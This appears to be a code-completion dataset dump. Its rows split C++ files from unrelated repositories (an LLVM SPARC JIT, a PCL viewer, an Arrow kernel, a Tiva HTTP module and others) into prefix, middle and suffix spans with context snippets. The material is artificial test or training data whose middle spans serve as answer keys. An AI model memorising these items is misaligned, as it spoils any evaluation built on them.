lang
stringclasses
3 values
file_path
stringlengths
5
150
repo_name
stringlengths
6
110
commit
stringlengths
40
40
file_code
stringlengths
1.52k
18.9k
prefix
stringlengths
82
16.5k
suffix
stringlengths
0
15.1k
middle
stringlengths
121
8.18k
strategy
stringclasses
8 values
context_items
listlengths
0
100
C++
examples/tictactoe/main.cpp
ChillyWillyGuru/libyaul
c19fbb913dccdc7da1409e551261059e5e088924
#include <string> #include <cmath> #include <stdio.h> #include <vdp2.h> #include <smpc.h> #include <smpc/peripheral.h> #include <cons/vdp2.h> using namespace std; #define BUTTON_UP 1 #define BUTTON_DOWN 2 #define BUTTON_LEFT 3 #define BUTTON_RIGHT 4 #define BUTTON_A 5 #define BUTTON_Z ...
#include <string> #include <cmath> #include <stdio.h> #include <vdp2.h> #include <smpc.h> #include <smpc/peripheral.h> #include <cons/vdp2.h> using namespace std; #define BUTTON_UP 1 #define BUTTON_DOWN 2 #define BUTTON_LEFT 3 #define BUTTON_RIGHT 4 #define BUTTON_A 5 #define BUTTON_Z ...
"); return 0; } else { board[row][column] = player; return 1; } } int TicTacToe::Check_Board() { int i = 0; for (i = 0; i < 9; i++) { if (board[i/3][i%3] == 0) break; } if ( i == 9 ) return 3; if (( (board[...
column) { if ( board[row][column] != 0 ) { pos_crsr(20-13, 3); print_str((char*)"Space occupied - Try Again"); delay(120); pos_crsr(20-13, 3); print_str((char*)"
function_block-random_span
[ { "content": " int32_t row;\n", "file_path": "libyaul/cons/cons.h", "rank": 0, "score": 134708.42337981262 }, { "content": " class Flex: public GeneratedFlexLexer {\n\n private:\n\n std::istream* is;\n\n std::stack<int> indent_s;\n\n\n\n std::string ...
C++
experimental/test_new_datatype.cpp
asrivast28/mxx
75a4a7b8b04922f070991f1d9a4351e339a0d848
#include <iostream> #include <mxx/env.hpp> #include <mxx/datatypes.hpp> #include "new_datatype.hpp" #include "type_traits.hpp" #include <cxx-prettyprint/prettyprint.hpp> #include <cxxabi.h> struct X { char c; double d; int i; static constexpr auto datatype = std::make_tuple(&X::i, &X::c, &X::d); }...
#include <iostream> #include <mxx/env.hpp> #include <mxx/datatypes.hpp> #include "new_datatype.hpp" #include "type_traits.hpp" #include <cxx-prettyprint/prettyprint.hpp> #include <cxxabi.h> struct X { char c; double d; int i; static constexpr auto datatype = std::make_tuple(&X::i, &X::c, &X::d); }...
std::string demangle(const char* name) { int status = -4; std::unique_ptr<char, void(*)(void*)> res { abi::__cxa_demangle(name, NULL, NULL, &status), std::free }; return (status==0) ? res.get() : name ; } int main(int argc, char *argv[]) { mxx::env e(argc, argv); ...
d::endl; std::cout << "not simple because: " << std::endl; std::cout << "has descriptor: " << mxx::has_type_descriptor<T>::value << std::endl; test_descriptor<T>(); }
function_block-function_prefixed
[ { "content": "struct has_datatype<T, typename std::enable_if<mxx::is_builtin_type<T>::value>::type> : std::true_type {};\n\n\n\n// TODO: extend this!\n\ntemplate <typename T, typename U>\n", "file_path": "include/mxx/datatypes.hpp", "rank": 1, "score": 214572.14218835137 }, { "content": "str...
C++
llvm-3.5/lib/Target/Sparc/SparcJITInfo.cpp
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
#include "SparcJITInfo.h" #include "Sparc.h" #include "SparcRelocations.h" #include "llvm/ADT/SmallVector.h" #include "llvm/CodeGen/JITCodeEmitter.h" #include "llvm/Support/Memory.h" using namespace llvm; #define DEBUG_TYPE "jit" static TargetJITInfo::JITCompilerFn JITCompilerFunction; extern "C" void SparcCompil...
#include "SparcJITInfo.h" #include "Sparc.h" #include "SparcRelocations.h" #include "llvm/ADT/SmallVector.h" #include "llvm/CodeGen/JITCodeEmitter.h" #include "llvm/Support/Memory.h" using namespace llvm; #define DEBUG_TYPE "jit" static TargetJITInfo::JITCompilerFn JITCompilerFunction; extern "C" void SparcCompil...
case SP::reloc_sparc_pc22: ResultPtr = ((ResultPtr - (intptr_t)RelocPos) >> 2) & 0x3fffff; break; case SP::reloc_sparc_pc19: ResultPtr = ((ResultPtr - (intptr_t)RelocPos) >> 2) & 0x7ffff; break; case SP::reloc_sparc_h44: ResultPtr = (ResultPtr >> 22) & 0x3fffff; break; ...
imm, rd) (0xC0000000 | ((rd) << 25) | (0x0B << 19) \ | ((rs1) << 14) | (1 << 13) | ((imm) & 0x1FFF)) #define SLLX_INST(rs1, imm, rd) (0x80000000 | ((rd) << 25) | (0x25 << 19) \ | ((rs1) << 14) | (3 << 12) | ((imm) & 0x3F)) #define SUB_INST(rs1, imm, rd)...
random
[]
C++
Server/src/ServerPub.cpp
ipab-slmc/RhIO
45f5440a745d5ae9b256335a78ded799d3a02d4d
#include "rhio_server/ServerPub.hpp" #include "rhio_common/Protocol.hpp" #include "rhio_common/DataBuffer.hpp" namespace RhIO { ServerPub::ServerPub(std::string endpoint) : _context(1), _socket(_context, ZMQ_RADIO), _bufferBool(10000), _bufferInt(10000), _bufferFloat(10000), _bufferStr(10...
#include "rhio_server/ServerPub.hpp" #include "rhio_common/Protocol.hpp" #include "rhio_common/DataBuffer.hpp" namespace RhIO { ServerPub::ServerPub(std::string endpoint) : _context(1), _socket(_context, ZMQ_RADIO), _
void ServerPub::publishBool(const std::string& name, bool val, int64_t timestamp) { _bufferBool.appendFromWriter({name, val, timestamp}); } void ServerPub::publishInt(const std::string& name, int64_t val, int64_t timestamp) { _bufferInt.appendFromWriter({name, val, timestamp}); } void ServerPub::publi...
bufferBool(10000), _bufferInt(10000), _bufferFloat(10000), _bufferStr(10000), _bufferStream(10000), _isWritingTo1(true), _queue1Frame(), _queue2Frame(), _mutexQueueFrame() { if (endpoint == "") { std::stringstream ss; ss << "udp://" << AddressMulticast << ":" << PortS...
function_block-function_prefix_line
[ { "content": "struct is_placeholder<RhIO::placeholder_custom<N>> \n\n : integral_constant<int, N+1> {};\n\n\n\n/**\n\n * Overloading standart to_string\n\n * with dummy string conversion\n\n */\n\ninline string to_string(const string& str)\n\n{\n\n return str;\n\n}\n\n\n\n}\n\n\n\nnamespace RhIO {\n\n\n\n...
C++
clients/testings/testing_bsrmv.cpp
scchan/rocSPARSE
6efc875765236a91d6b07ef42446b1b46de661e0
#include "testing.hpp" #include "rocsparse_enum.hpp" #include "auto_testing_bad_arg.hpp" template <typename T> void testing_bsrmv_bad_arg(const Arguments& arg) { static const size_t safe_size = 10; const T h_alpha = static_cast<T>(1); const T h_beta = static_cast<T>(1); ...
#include "testing.hpp" #include "rocsparse_enum.hpp" #include "auto_testing_bad_arg.hpp" template <typename T> void testing_bsrmv_bad_arg(const Arguments& arg) { static const size_t safe_size = 10; const T h_alpha = static_cast<T>(1); const T h_beta = static_cast<T>(1); ...
ection), "alpha", *h_alpha.val, "beta", *h_beta.val, "GFlop/s", gpu_gflops, "GB/s", gpu_gbyte, ...
} double gpu_time_used = get_time_us(); for(int iter = 0; iter < number_hot_calls; ++iter) { CHECK_ROCSPARSE_ERROR(rocsparse_bsrmv<T>(PARAMS(h_alpha, dA, dx, h_beta, dy))); } gpu_time_used = (get_time_us() - gpu_time_used) / number_hot_calls; dou...
random
[ { "content": " function rocsparse_sbsrmv(handle, dir, trans, mb, nb, nnzb, alpha, descr, &\n\n bsr_val, bsr_row_ptr, bsr_col_ind, bsr_dim, x, beta, y) &\n\n bind(c, name = 'rocsparse_sbsrmv')\n\n use rocsparse_enums\n\n use iso_c_binding\n\n ...
C++
sources/qt_colorize_cloud/pclviewer.cpp
SmartKangJohn/PCL191_tutorials_x64
ba23cfa0c612d11b00b97fba75e2f9b41633b5d1
#include "pclviewer.h" #include "ui_pclviewer.h" PCLViewer::PCLViewer (QWidget *parent) : QMainWindow (parent), ui (new Ui::PCLViewer), filtering_axis_ (1), color_mode_ (4) { ui->setupUi (this); this->setWindowTitle ("PCL viewer"); cloud_.reset (new PointCloudT); cloud_->resize (500)...
#include "pclviewer.h" #include "ui_pclviewer.h" PCLViewer::PCLViewer (QWidget *parent) : QMainWindow (parent), ui (new Ui::PCLViewer), filtering_axis_ (1), color_mode_ (4) { ui->setupUi (this); this->setWindowTitle ("PCL viewer"); cloud_.reset (new PointCloudT); cloud_->resize (500)...
vtkWidget->update (); } void PCLViewer::saveFileButtonPressed () { QString filename = QFileDialog::getSaveFileName(this, tr ("Open point cloud"), "/home/", tr ("Point cloud data (*.pcd *.ply)")); PCL_INFO("File chosen: %s\n", filename.toStdString ().c_str ()); if (filename.isEmpty ()) return; int ret...
if (filename.endsWith (".pcd", Qt::CaseInsensitive)) return_status = pcl::io::loadPCDFile (filename.toStdString (), *cloud_tmp); else return_status = pcl::io::loadPLYFile (filename.toStdString (), *cloud_tmp); if (return_status != 0) { PCL_ERROR("Error reading point cloud %s\n", filename.toStdString ...
random
[ { "content": "class SimpleOpenNIViewer\n\n{\n\npublic:\n\n SimpleOpenNIViewer () :\n\n viewer (\" Point Cloud Compression Example\")\n\n {\n\n }\n\n\n\n void\n\n cloud_cb_ (const pcl::PointCloud<pcl::PointXYZRGBA>::ConstPtr &cloud)\n\n {\n\n if (!viewer.wasStopped ())\n\n {\n\n // stringstre...
C++
coast/perfTest/src/FlowControlDAStresser.cpp
zer0infinity/CuteForCoast
37d933c5fe2e0ce9a801f51b2aa27c7a18098511
#include "FlowControlDAStresser.h" #include "FlowController.h" #include "Application.h" RegisterStresser(FlowControlDAStresser); Anything FlowControlDAStresser::Run(long id) { StartTrace(FlowControlDAStresser.Run); TraceAny(fConfig, "Config 1"); Anything result; long nError(0); long nrBytes(0); long sum(0); l...
#include "FlowControlDAStresser.h" #include "FlowController.h" #include "Application.h" RegisterStresser(FlowControlDAStresser); Anything FlowControlDAStresser::Run(long id) { StartTrace(FlowControlDAStresser.Run); TraceAny(fConfig, "Config 1"); Anything result; long nError(0); long nrBytes(0); long sum(0); l...
)) { ctx.GetQuery()["DataAccess"] = fConfig["DataAccess"].AsString(""); } TraceAny(ctx.GetTmpStore(), "Tempstore"); long accessTime; if (!flowCntrl->ExecDataAccess(ctx, accessTime)) { Trace("ExecDataAccess failed!"); ROAnything roa; if (ctx.Lookup("StdExecFail", ro...
0); long itopia_max(0); String flowCntrlName = fConfig["FlowController"].AsString(""); long nrRequests = 0; long nrSteps = 0; Trace("flowcontrolname is: " << flowCntrlName); if (flowCntrlName != "") { FlowController *flowCntrl = FlowController::FindFlowController(flowCntrlName); if (!flowCntrl) { Trac...
function_block-random_span
[ { "content": "\tclass AnythingConfigTestPolicy\n\n\t{\n\n\tpublic:\n\n\t\ttypedef AnythingConfigTestPolicy<dummy> ConfigPolicyType;\n\n\n\n\t\tAnythingConfigTestPolicy() {};\n\n\t\tvirtual ~AnythingConfigTestPolicy() {};\n\n\n\n\t\tbool loadConfig(TString strClassName, TString strTestName) {\n\n\t\t\treturn DoL...
C++
data-plane/http-common/source/ESHttpRequestUri.cpp
duderino/everscale
38388289dcce869852680a167f3dcb7e090d851c
#ifndef ES_HTTP_REQUEST_URI_H #include <ESHttpRequestUri.h> #endif #ifndef ESB_CONFIG_H #include <ESBConfig.h> #endif #ifndef ES_HTTP_UTIL_H #include <ESHttpUtil.h> #endif namespace ES { HttpRequestUri::HttpRequestUri(UriType type) : _type(type), _port(-1), _host(NULL), _absPath(NULL), _query(NULL), _fragment(N...
#ifndef ES_HTTP_REQUEST_URI_H #include <ESHttpRequestUri.h> #endif #ifndef ESB_CONFIG_H #include <ESBConfig.h> #endif #ifndef ES_HTTP_UTIL_H #include <ESHttpUtil.h> #endif namespace ES { HttpRequestUri::HttpRequestUri(UriType type) : _type(type), _port(-1), _host(NULL), _absPath(NULL), _query(NULL), _fragment(N...
ESB::Error HttpRequestUri::copy(const HttpRequestUri *other, ESB::Allocator &allocator) { if (!other) { return ESB_NULL_POINTER; } _type = other->type(); _port = other->port(); if (other->host()) { _host = HttpUtil::Duplicate(&allocator, other->host()); if (!_host) { return ESB_OUT_OF_ME...
void HttpRequestUri::reset() { _type = ES_URI_HTTP; _port = -1; _host = NULL; _absPath = NULL; _query = NULL; _fragment = NULL; _other = NULL; }
function_block-full_function
[ { "content": "namespace ES {\n\n\n\n#define ES_HTTP_BAD_CRLF -100\n\n#define ES_HTTP_BAD_REQUEST_URI_ASTERISK -101\n\n#define ES_HTTP_BAD_REQUEST_URI_ABS_PATH -102\n\n#define ES_HTTP_BAD_REQUEST_URI_QUERY -103\n\n#define ES_HTTP_BAD_REQUEST_URI_SCHEME -104\n\n#define ES_HTTP_BAD_REQUEST_URI_HOST -105\n\n#define...
C++
main.cpp
DonnieDonowitz/Extrusion
895cff91531f5d596f0b4434fbd2cc8be87b282c
#include <osg/Geode> #include <osg/Array> #include <osg/Geometry> #include <osgUtil/Tessellator> #include <osgViewer/Viewer> osg::Geometry* createUpperFace(osg::Vec3Array* vertices, std::list<osg::Vec3Array*> holes, osg::Vec4Array* color, osg::Vec3 extrusiondirection) { int off; osg::Vec3Array* v ...
#include <osg/Geode> #include <osg/Array> #include <osg/Geometry> #include <osgUtil/Tessellator> #include <osgViewer/Viewer> osg::Geometry* createUpperFace(osg::Vec3Array* vertices, std::list<osg::Vec3Array*> holes, osg::Vec4Array* color, osg::Vec3 extrusiondirection) { int off; osg::Vec3Array* v ...
osg::Geometry* lowerFace = createLowerFace(upperFace, offset); geo->addDrawable(upperFace); geo->addDrawable(lowerFace); geo->addDrawable(createWalls(extborder, holesborders, color, extrusiondirection, magnitude)); return geo; } int main(int argc, char** argv) { osg::ref_ptr<osg::Gro...
sh_back(l + off + s); } else { indicesholes[j]->push_back(l); } osg::Vec3 n = (v->at(indicesholes[j]->at(1)) - v->at(indicesholes[j]->at(0))) ^ (v->at(indicesholes[j]->at(2)) - v->at(indicesholes[j]->at(1))); n.normalize(); ...
random
[]
C++
tools/utilities/compile/src/main.cpp
Dream-maerD/ELL-master
9554afa876cc9e8e87529df3f3d99220abc711d6
#include "CompileArguments.h" #include "CommandLineParser.h" #include "Exception.h" #include "Dataset.h" #include "LoadModel.h" #include "MapLoadArguments.h" #include "DynamicMap.h" #include "IRCompiledMap.h" #include "IRMapCompiler.h" #include "IRSteppableMapCompiler.h" #include "OutputNode.h" #include <chrono>...
#include "CompileArguments.h" #include "CommandLineParser.h" #include "Exception.h" #include "Dataset.h" #include "LoadModel.h" #include "MapLoadArguments.h" #include "DynamicMap.h" #include "IRCompiledMap.h" #include "IRMapCompiler.h" #include "IRSteppableMapCompiler.h" #include "OutputNode.h" #include <chrono>...
int main(int argc, char* argv[]) { try { utilities::CommandLineParser commandLineParser(argc, argv); common::ParsedMapLoadArguments mapLoadArguments; ParsedCompileArguments compileArguments; commandLineParser.AddOptionSet(mapLoadArguments); commandLi...
rguments::OutputType::bitcode: compiledMap.WriteCode(compileArguments.outputCodeStream, emitters::ModuleOutputFormat::bitcode); break; case CompileArguments::OutputType::assembly: { emitters::MachineCodeOutputOptions compileAssemblyOptions; ...
function_block-function_prefixed
[ { "content": "namespace ell\n\n{\n\nnamespace utilities\n\n{\n\n /// <summary> The results of the parse command: \n\n /// success = Parsing succeeded;\n\n /// badFormat = The string was not formatted correctly;\n\n /// endOfString = The pointer pStr points \\0 or to whitespace followed b...
C++
modules/task_2/okmyanskiy_a_contrast_enhancement/main.cpp
381706-1-DenisovVladislavL/pp_2020_spring
52d640bd274920b1664414a5f9b0f27da6707f7d
 #include <gtest/gtest.h> #include <omp.h> #include <vector> #include <ctime> #include <iostream> #include "./contrast_enhancement.h" TEST(Sequential_Contrast_Enhancement, Test_Random_Matrix_Size_Zero) { const int matrixWidth = 15; const int matrixHeight = 0; ASSERT_ANY_THROW(getRandomMatrix(matrixWidt...
 #include <gtest/gtest.h> #include <omp.h> #include <vector> #include <ctime> #include <iostream> #include "./contrast_enhancement.h" TEST(Sequential_Contrast_Enhancement, Test_Random_Matrix_Size_Zero) { const int matrixWidth = 15; const int matrixHeight = 0; ASSERT_ANY_THROW(getRandomMatrix(matrixWidt...
TEST(Sequential_Contrast_Enhancement, Test_Check_Stretching_Correct) { const int min = 6; const int max = 158; const int value = 18; ASSERT_EQ(20, linearHistogramStretching(value, max, min)); } TEST(Sequential_Contrast_Enhancement, Test_Result_Matrix_Size_Negative) { const int matrixWidth = 15; ...
ial_Contrast_Enhancement, Test_Stretching_Minimum_Or_Maximum_False) { const int min = -5; const int max = 260; const int value = 10; ASSERT_ANY_THROW(linearHistogramStretching(value, max, min)); }
function_block-function_prefixed
[ { "content": "class BuiltInDefaultValue<const T> {\n\n public:\n\n static bool Exists() { return BuiltInDefaultValue<T>::Exists(); }\n\n static T Get() { return BuiltInDefaultValue<T>::Get(); }\n\n};\n\n\n\n// This partial specialization defines the default values for pointer\n\n// types.\n\ntemplate <typenam...
C++
pr2_coffee/elevator/find_elevator_button/nodes/find_elevator_button.cpp
atp42/jks-ros-pkg
367fc00f2a9699f33d05c7957d319a80337f1ed4
#include "find_elevator_button.h" #define DEBUG 1 #define ONLINE_PROCESS true // If we are working on the robot, set to true #define IMAGE_TYPE "unwarped.jpg" #define IMAGE_TYPE2 "stair" int START_FROM_STEP = 0; void FindElevatorButtons::init() { bVerbose = true; find_button_pkg_...
#include "find_elevator_button.h" #define DEBUG 1 #define ONLINE_PROCESS true // If we are working on the robot, set to true #define IMAGE_TYPE "unwarped.jpg" #define IMAGE_TYPE2 "stair" int START_FROM_STEP = 0; void FindElevatorButtons::init() { bVerbose = true; find_button_pkg_...
} } void FindElevatorButtons::getSvlDetections() { svlDetections.clear(); string model = DEFAULT_MODEL; string name = this->imageName; string ground_truths = ""; bool isCallPanel = false; string file =this->imageFile; svlObject2dFrame frame; cout << "SVL: creating Classifier" <<...
if (START_FROM_STEP <= 3) { cout << "\n\n\n*** LABEL VITERBI ***\n\n\n"; labelHMM(); cout << "\n\n\n*** FIND REQUESTED BUTTON ***\n\n\n"; getButtonInfo(); }
if_condition
[ { "content": "class svlKMeansT {\n\npublic:\n\n\tsvlKMeansT();\n\n\tvirtual ~svlKMeansT();\n\n\n\n\tvoid do_kmeans(const vector<V> &P, vector<V> &cent, vector<int> *ix, int k, int max_iter, int num_changes = 0);\n\n};\n\n\n\ntemplate<class V>\n\nsvlKMeansT<V>::svlKMeansT() {\n\n}\n\n\n\ntemplate<class V>\n\nsvl...
C++
Sources/Elastos/Frameworks/Droid/WebView/Chromium/src/elastos/droid/webview/chromium/native/ui/DropdownAdapter.cpp
jingcao80/Elastos
d0f39852356bdaf3a1234743b86364493a0441bc
#include <Elastos.CoreLibrary.Utility.h> #include "Elastos.Droid.Content.h" #include "Elastos.Droid.View.h" #include "Elastos.Droid.Widget.h" #include "elastos/droid/text/TextUtils.h" #include "elastos/droid/webkit/webview/chromium/native/base/ApiCompatibilityUtils.h" #include "elastos/droid/webkit/webview/chromium/n...
#include <Elastos.CoreLibrary.Utility.h> #include "Elastos.Droid.Content.h" #include "Elastos.Droid.View.h" #include "Elastos.Droid.Widget.h" #include "elastos/droid/text/TextUtils.h" #include "elastos/droid/webkit/webview/chromium/native/base/ApiCompatibilityUtils.h" #include "elastos/droid/webkit/webview/chromium/n...
) { AutoPtr<IInterface> interfaceTmp; GetItem(i, (IInterface**)&interfaceTmp); IObject* objTmp = IObject::Probe(interfaceTmp); DropdownItem* item = (DropdownItem*)objTmp; if (item->IsEnabled() && !item->IsGroupHeader()) { return FALSE; } } return TRUE;...
roid::View::CViewGroupLayoutParams; using Elastos::Droid::View::ILayoutInflater; using Elastos::Droid::View::IViewGroupLayoutParams; using Elastos::Droid::Webkit::Webview::Chromium::Base::ApiCompatibilityUtils; using Elastos::Droid::Webkit::Webview::Chromium::Ui::R; using Elastos::Droid::Webkit::Webview::Chromium::Ui::...
random
[]
C++
cpp/src/arrow/compute/kernels/match.cc
palmerlao/arrow
4e680c46ad5aa76ba1dc85574c4e96a51450364f
#include "arrow/compute/kernels/match.h" #include <algorithm> #include <cstdint> #include <cstring> #include <memory> #include <sstream> #include <string> #include <type_traits> #include <utility> #include <vector> #include "arrow/array.h" #include "arrow/array/dict_internal.h" #include "arrow/buffer.h" #include "a...
#include "arrow/compute/kernels/match.h" #include <algorithm> #include <cstdint> #include <cstring> #include <memory> #include <sstream> #include <string> #include <type_traits> #include <utility> #include <vector> #include "arrow/array.h" #include "arrow/array/dict_internal.h" #include "arrow/buffer.h" #include "a...
Status Init(const Datum& needles) override { if (!needles.is_arraylike()) { return Status::Invalid("Needles input to match kernel was not array-like"); } needles_table_.reset(new MemoTable(pool_, 0)); auto insert_value = [&](util::optional<Scalar> v) { if (v.has_value()) { int3...
indices_builder.UnsafeAppend(needles_table_->GetNull()); } else { indices_builder.UnsafeAppendNull(); } } }; if (haystack.kind() == Datum::ARRAY) { VisitArrayDataInline<Type>(*haystack.array(), lookup_value); } if (haystack.kind() == Datum::CHUNKED_ARRA...
function_block-function_prefix_line
[ { "content": "class StringFormatter<Int32Type> : public IntToStringFormatterMixin<Int32Type> {\n\n using IntToStringFormatterMixin::IntToStringFormatterMixin;\n\n};\n\n\n\ntemplate <>\n", "file_path": "cpp/src/arrow/util/formatting.h", "rank": 3, "score": 501987.0675901464 }, { "content": "...
C++
source/Lib/TLibCommon/TComPic.cpp
ChristianFeldmann/libJEM
e78aa50655aa2c126069403efe56b701b619c7c0
#include "TComPic.h" #include "SEI.h" TComPic::TComPic() : m_uiTLayer (0) , m_bUsedByCurr (false) , m_bIsLongTerm (false) , m_pcPicYuvPred (NULL) , m_pcPicYuvResi (NULL) , m_bReconstruct...
#include "TComPic.h" #include "SEI.h" TComPic::TComPic() : m_uiTLayer (0) , m_bUsedByCurr (false) , m_bIsLongTerm (false) , m_pcPicYuvPred (NULL) , m_pcPicYuvResi (NULL) , m_bReconstruct...
} ClipParam TComPic::computeTchClipParam(Int &delta_disto_luma,Int &delta_disto_chroma) const { ClipParam prm; prm.isActive=true; prm.isChromaActive=true; delta_disto_luma=delta_disto_chroma=0; const TComPicYuv &picorg = *m_apcPicYuv[PIC_YUV_ORG]; const Pel *pY = picorg.getAddr(COMPONENT_Y);...
j = 0; j < width; j++) { const int x=p[i*stride + j]; if (x>=m&&x<=M) ++s; } return s; }
function_block-function_prefixed
[ { "content": "class meta_sqrt<Y, InfX, SupX, true> { public: enum { ret = (SupX*SupX <= Y) ? SupX : InfX }; };\n\n\n\n/** \\internal determines whether the product of two numeric types is allowed and what the return type is */\n\ntemplate<typename T, typename U> struct scalar_product_traits\n\n{\n\n enum { De...
C++
Mysql/storage/ndb/include/kernel/signaldata/DihScanTab.hpp
clockzhong/WrapLAMP
fa7ad07da3f1759e74966a554befa47bbbbb8dd5
#ifndef DIH_SCAN_TAB_HPP #define DIH_SCAN_TAB_HPP #include "SignalData.hpp" #define JAM_FILE_ID 108 struct DihScanTabReq { STATIC_CONST( SignalLength = 4 ); STATIC_CONST( RetryInterval = 5 ); Uint32 tableId; Uint32 senderData; Uint32 senderRef; Uint32 schemaTransId; }; struct DihScanTabConf { STATI...
#ifndef DIH_SCAN_TAB_HPP #define DIH_SCAN_TAB_HPP #include "SignalData.hpp" #define JAM_FILE_ID 108 struct DihScanTabReq { STATIC_CONST( SignalLength = 4 ); STATIC_CONST( RetryInterval = 5 ); Uint32 tableId; Uint32 senderData; Uint32 senderRef; Uint32 schemaTransId;
typedef DihScanGetNodesReq::FragItem FragItem; FragItem fragItem[1]; }; struct DihScanTabRef { enum ErrorCode { ErroneousState = 0, ErroneousTableState = 1 }; STATIC_CONST( SignalLength = 5 ); Uint32 tableId; Uint32 senderData; Uint32 error; Uint32 tableStatus; Uint32 schemaTransId; };...
}; struct DihScanTabConf { STATIC_CONST( SignalLength = 6 ); STATIC_CONST( InvalidCookie = RNIL ); Uint32 tableId; Uint32 senderData; Uint32 fragmentCount; Uint32 noOfBackups; Uint32 scanCookie; Uint32 reorgFlag; }; struct DihScanGetNodesReq { STATIC_CONST( FixedSignalLength = 4 ); STATIC_CONST(...
random
[]
C++
stdlib/public/runtime/KnownMetadata.cpp
Fidetro/swift
da1e158a378ba46a3a88d05d789aef5dfa0bd6cc
#include "swift/Runtime/Metadata.h" #include "swift/Runtime/HeapObject.h" #include "swift/Runtime/Numeric.h" #include "MetadataImpl.h" #include "Private.h" #include <cstring> #include <climits> using namespace swift; using namespace metadataimpl; OpaqueValue *swift::swift_copyPOD(OpaqueValue *dest, OpaqueValue *src...
#include "swift/Runtime/Metadata.h" #include "swift/Runtime/HeapObject.h" #include "swift/Runtime/Numeric.h" #include "MetadataImpl.h" #include "Private.h" #include <cstring> #include <climits> using namespace swift; using namespace metadataimpl; OpaqueValue *swift::swift_copyPOD(OpaqueValue *dest, OpaqueValue *src...
t = Align; \ }; SET_FIXED_ALIGNMENT(uint8_t, 1) SET_FIXED_ALIGNMENT(uint16_t, 2) SET_FIXED_ALIGNMENT(uint32_t, 4) SET_FIXED_ALIGNMENT(uint64_t, 8) SET_FIXED_ALIGNMENT(int128_like, 16) static_assert(MaximumAlignment == 16, "max alignment was hardcoded"); SET_FIXED_ALIGNMENT(int...
r_t; using BL_ = IntegerLiteral; using Bf16_ = uint16_t; using Bf32_ = float; using Bf64_ = double; using Bf80_ = float80_like; using Bf128_ = int128_like; using BB = ValueBuffer; } } namespace pointer_types { namespace { using Bo = SwiftRetainableBox; ...
random
[]
C++
code/components/citizen-scripting-v8/src/V8ProfilerDump.cpp
lze3/fivem
ae03c8592669a38568978792c0a6029356a4088d
#include "StdInc.h" #include <include/v8-profiler.h> #include <rapidjson/document.h> #include <rapidjson/writer.h> #include <chrono> inline static std::chrono::milliseconds msec() { return std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::high_resolution_clock::now().time_since_epoc...
#include "StdInc.h" #include <include/v8-profiler.h> #include <rapidjson/document.h> #include <rapidjson/writer.h> #include <chrono> inline static std::chrono::milliseconds msec() { return std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::high_resolution_clock::now().time_since_epoc...
{ rapidjson::Value head; SaveProfileNodeToValue(profile->GetTopDownRoot(), head, allocator); value.AddMember("head", head, allocator); } value.AddMember("startTime", rapidjson::Value(profile->GetStartTime() / 1000000), allocator); value.AddMember("endTime", rapidjson::Value(profile->GetEndTime()...
if (title.length() == 0) { value.AddMember("title", rapidjson::Value(va("Profiling at tick count %d", msec().count()), allocator), allocator); } else { value.AddMember("title", rapidjson::Value(*title, allocator), allocator); }
if_condition
[]
C++
HTTPRequestModule.cpp
faisalsikder/TivaCHTTPReq
a000cf778b56772de1e0cf92577dedd69afc0901
#include <Ethernet.h> #include "HTTPRequestModule.h" #include "driverlib/sysctl.h" #include "inc/hw_nvic.h" #include "inc/hw_types.h" #include "inc/hw_flash.h" #include "driverlib/flash.h" byte mac[] = { 0x00, 0x1A, 0xB6, 0x03, 0x03, 0xEC}; IPAddress ip(172, 19, 4, 240); IPAddress myDns(192, 31, 89, 16); Ether...
#include <Ethernet.h> #include "HTTPRequestModule.h" #include "driverlib/sysctl.h" #include "inc/hw_nvic.h" #include "inc/hw_types.h" #include "inc/hw_flash.h" #include "driverlib/flash.h" byte mac[] = { 0x00, 0x1A, 0xB6, 0x03, 0x03, 0xEC}; IPAddress ip(172, 19, 4, 240); IPAddress myDns(192, 31, 89, 16); Ether...
void TestModulePrintData::localLoop() { TestModulePrintData::httpRequest(); } void TestModulePrintData::httpRequest() { if(--dhcp_refresh <= 0){ Ethernet.begin(mac); dhcp_refresh = 600; } delay(100); client.stop(); delay(1000); if (client.conn...
a; int32_t i32FractionPart = (int32_t) (data* 1000.0f); i32FractionPart = i32FractionPart - (i32IntegerPart * 1000); tivaWare.UART.printf("%d.%3d",i32IntegerPart, i32FractionPart); }
function_block-function_prefixed
[ { "content": "//\n\n//*****************************************************************************\n\n#define SYSTICKS_PER_SECOND 1\n\n#define SYSTICK_PERIOD_MS (1000 / SYSTICKS_PER_SECOND)\n\n\n\n//*****************************************************************************\n\n//\n\n// Global insta...
C++
foo_spider_monkey_panel/panel/js_panel_window_dui.cpp
razielanarki/foo_spider_monkey_panel
00b8cee40801f9594fcb45fbd578e9b91c1304a3
#include <stdafx.h> #include "js_panel_window_dui.h" #include <com_objects/drop_target_impl.h> #include <events/event_dispatcher.h> #include <events/event_js_callback.h> #include <utils/colour_helpers.h> namespace { template <typename TImpl> class my_ui_element_impl : public ui_element { public: GUID get_guid()...
#include <stdafx.h> #include "js_panel_window_dui.h" #include <com_objects/drop_target_impl.h> #include <events/event_dispatcher.h> #include <events/event_js_callback.h> #include <utils/colour_helpers.h> namespace { template <typename TImpl> class my_ui_element_impl : public ui_element { public: GUID get_guid()...
js_panel_window_dui::~js_panel_window_dui() { t_parent::destroy(); } GUID js_panel_window_dui::g_get_guid() { return smp::guid::window_dui; } GUID js_panel_window_dui::g_get_subclass() { return ui_element_subclass_utility; } pfc::string8 js_panel_window_dui::g_get_description() { return "Customizab...
js_panel_window_dui::js_panel_window_dui( ui_element_config::ptr cfg, ui_element_instance_callback::ptr callback ) : js_panel_window( PanelType::DUI ) , uiCallback_( callback ) , isEditMode_( callback->is_edit_mode_enabled() ) { set_configuration( cfg ); }
function_block-full_function
[ { "content": "class CPropertyEditItem : public CPropertyItem\n\n{\n\nprotected:\n\n\tHWND m_hwndEdit;\n\n\n\npublic:\n\n\tCPropertyEditItem(LPCTSTR pstrName, LPARAM lParam) :\n\n\t\tCPropertyItem(pstrName, lParam),\n\n\t\tm_hwndEdit(NULL)\n\n\t{\n\n\t}\n\n\tCPropertyEditItem(LPCTSTR pstrName, CComVariant vValue...
C++
src/win_imulti_language_charset_detector.cpp
fougue/cassolette
0aa8449f5a675f7ce3c897318c4872ed104e2835
